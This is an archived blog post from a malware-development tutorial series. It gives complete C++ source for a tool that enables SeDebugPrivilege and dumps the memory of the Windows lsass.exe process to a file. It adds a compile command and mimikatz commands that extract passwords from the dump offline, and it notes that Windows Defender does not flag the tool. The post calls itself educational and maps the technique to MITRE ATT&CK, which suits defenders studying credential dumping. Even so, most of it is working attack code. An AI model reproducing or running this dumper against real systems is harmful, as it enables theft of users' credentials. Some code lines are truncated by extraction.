Malware development trick - part 28: Dump lsass.exe. Simple C++ example. By cocomelonc Published: 2023-05-11 · Archived: 2026-04-05 18:05:12 UTC 4 minute read ﷽ Hello, cybersecurity enthusiasts and white hackers! Today, I want to show how we can dumping Lsass without Mimikatz: via MiniDumpWriteDump API. Since mimikatz is a very famous tool and easy to detect, hackers find new tricks to reimplement some features from it’s logic. practical examplePermalink So, how we can write a simple lsass.exe process dumper? We use MiniDumpWriteDump : BOOL MiniDumpWriteDump( [in] HANDLE hProcess, [in] DWORD ProcessId, [in] HANDLE hFile, https://cocomelonc.github.io/malware/2023/05/11/malware-tricks-28.html Page 1 of 10 [in] MINIDUMP_TYPE DumpType, [in] PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam, [in] PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam, [in] PMINIDUMP_CALLBACK_INFORMATION CallbackParam ); The MiniDumpWriteDump function is a Windows API function that creates a minidump file, which is a small snapshot of the application state at the time the function is called. This file can be useful for debugging purposes, as it contains the exception information, a list of loaded DLLs, stack information, and other system state information. First of all, we find lsass.exe process, via function like this: int findMyProc(const char *procname) { HANDLE hSnapshot; PROCESSENTRY32 pe; int pid = 0; BOOL hResult; // snapshot of all processes in the system hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (INVALID_HANDLE_VALUE == hSnapshot) return 0; // initializing size: needed for using Process32First pe.dwSize = sizeof(PROCESSENTRY32); // info about first process encountered in a system snapshot hResult = Process32First(hSnapshot, &pe); // retrieve information about the processes // and exit if unsuccessful while (hResult) { // if we find the process: return process ID if (strcmp(procname, pe.szExeFile) == 0) { pid = pe.th32ProcessID; break; } hResult = Process32Next(hSnapshot, &pe); } // closes an open handle (CreateToolhelp32Snapshot) CloseHandle(hSnapshot); return pid; } https://cocomelonc.github.io/malware/2023/05/11/malware-tricks-28.html Page 2 of 10 It is necessary to have SeDebugPrivilege privilege to dump LSASS as an attacker: // set privilege BOOL setPrivilege(LPCTSTR priv) { HANDLE token; TOKEN_PRIVILEGES tp; LUID luid; BOOL res = TRUE; if (!LookupPrivilegeValue(NULL, priv, &luid)) res = FALSE; tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &token)) res = FALSE; if (!AdjustTokenPrivileges(token, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL) printf(res ? "successfully enable %s :)\n" : "failed to enable %s :(\n", priv); return res; } Then, create dump: // minidump lsass.exe BOOL createMiniDump() { bool dumped = FALSE; int pid = findMyProc("lsass.exe"); HANDLE ph = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, 0, pid); HANDLE out = CreateFile((LPCTSTR)"c:\\temp\\lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NO if (ph && out != INVALID_HANDLE_VALUE) { dumped = MiniDumpWriteDump(ph, pid, out, (MINIDUMP_TYPE)0x00000002, NULL, NULL, NULL); printf(dumped ? "successfully dumped to lsaas.dmp :)\n" : "failed to dump :(\n"); } return dumped; } So, the full source code is looks like this hack.cpp : /* * hack.cpp - Dump lsass without mimikatz. C++ implementation * @cocomelonc * https://cocomelonc.github.io/tutorial/2023/05/11/malware-tricks-28.html */ #include #include https://cocomelonc.github.io/malware/2023/05/11/malware-tricks-28.html Page 3 of 10 #include #include #include #include #pragma comment (lib, "dbghelp.lib") int findMyProc(const char *procname) { HANDLE hSnapshot; PROCESSENTRY32 pe; int pid = 0; BOOL hResult; // snapshot of all processes in the system hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (INVALID_HANDLE_VALUE == hSnapshot) return 0; // initializing size: needed for using Process32First pe.dwSize = sizeof(PROCESSENTRY32); // info about first process encountered in a system snapshot hResult = Process32First(hSnapshot, &pe); // retrieve information about the processes // and exit if unsuccessful while (hResult) { // if we find the process: return process ID if (strcmp(procname, pe.szExeFile) == 0) { pid = pe.th32ProcessID; break; } hResult = Process32Next(hSnapshot, &pe); } // closes an open handle (CreateToolhelp32Snapshot) CloseHandle(hSnapshot); return pid; } // set privilege BOOL setPrivilege(LPCTSTR priv) { HANDLE token; TOKEN_PRIVILEGES tp; LUID luid; BOOL res = TRUE; if (!LookupPrivilegeValue(NULL, priv, &luid)) res = FALSE; https://cocomelonc.github.io/malware/2023/05/11/malware-tricks-28.html Page 4 of 10 tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &token)) res = FALSE; if (!AdjustTokenPrivileges(token, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL) printf(res ? "successfully enable %s :)\n" : "failed to enable %s :(\n", priv); return res; } // minidump lsass.exe BOOL createMiniDump() { bool dumped = FALSE; int pid = findMyProc("lsass.exe"); HANDLE ph = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, 0, pid); HANDLE out = CreateFile((LPCTSTR)"c:\\temp\\lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NO if (ph && out != INVALID_HANDLE_VALUE) { dumped = MiniDumpWriteDump(ph, pid, out, (MINIDUMP_TYPE)0x00000002, NULL, NULL, NULL); printf(dumped ? "successfully dumped to lsaas.dmp :)\n" : "failed to dump :(\n"); } return dumped; } int main(int argc, char* argv[]) { if (!setPrivilege(SE_DEBUG_NAME)) return -1; if (!createMiniDump()) return -1; return 0; } As you can see, do not forget to add dbghelp.lib as a dependency: #pragma comment (lib, "dbghelp.lib") demoPermalink Let’s go to see everything in action. Compile our dumper at the attacker’s machine ( kali x64 ): x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-s https://cocomelonc.github.io/malware/2023/05/11/malware-tricks-28.html Page 5 of 10 Then, execute it at the victim’s machine ( windows 10 x64 in my case): As you can see, lsass.dmp gets dumped to the working directory: C:\\temp\ . Then, open mimikatz load in the dump file and dump passwords: .\mimikatz.exe sekurlsa::minidump c:\temp\lsass.dmp sekurlsa::logonpasswords https://cocomelonc.github.io/malware/2023/05/11/malware-tricks-28.html Page 6 of 10 https://cocomelonc.github.io/malware/2023/05/11/malware-tricks-28.html Page 7 of 10 Interesting moment: not work in mimikatz v2.2.0 on my Windows: https://cocomelonc.github.io/malware/2023/05/11/malware-tricks-28.html Page 8 of 10 Note that Windows Defender on Windows 10 is flagging up mimikatz immediately… but allows running hack.exe . So, what’s the trick? We can create an attack in this following path: execute hack.exe on victim’s machine so, lsass.dmp gets dumped to the working directory take the lsass.dmp offline to our attacking windows machine open mimikatz and load in the dump file dump passwords of victim’s machine (on attacker’s machine)! This is just one of the methods, I will try to tell about the another in the future. This trick is used many APTs and hacking tools in the wild. For example, Cobalt Strike can spawn a job to inject into LSASS memory and dump password hashes. Fox Kitten and HAFNIUM used procdump to dump the LSASS process memory. https://cocomelonc.github.io/malware/2023/05/11/malware-tricks-28.html Page 9 of 10 I hope this post spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal. MITRE ATT&CK - OS Credential Dumping: LSASS Memory APT3 Cobalt Strike Fox Kitten HAFNIUM mimikatz MiniDumpWriteDump source code in github This is a practical case for educational purposes only. Thanks for your time happy hacking and good bye! PS. All drawings and screenshots are mine Source: https://cocomelonc.github.io/malware/2023/05/11/malware-tricks-28.html https://cocomelonc.github.io/malware/2023/05/11/malware-tricks-28.html Page 10 of 10 https://cocomelonc.github.io/malware/2023/05/11/malware-tricks-28.html Interesting moment: not work in mimikatz v2.2.0 on my Windows: Page 8 of 10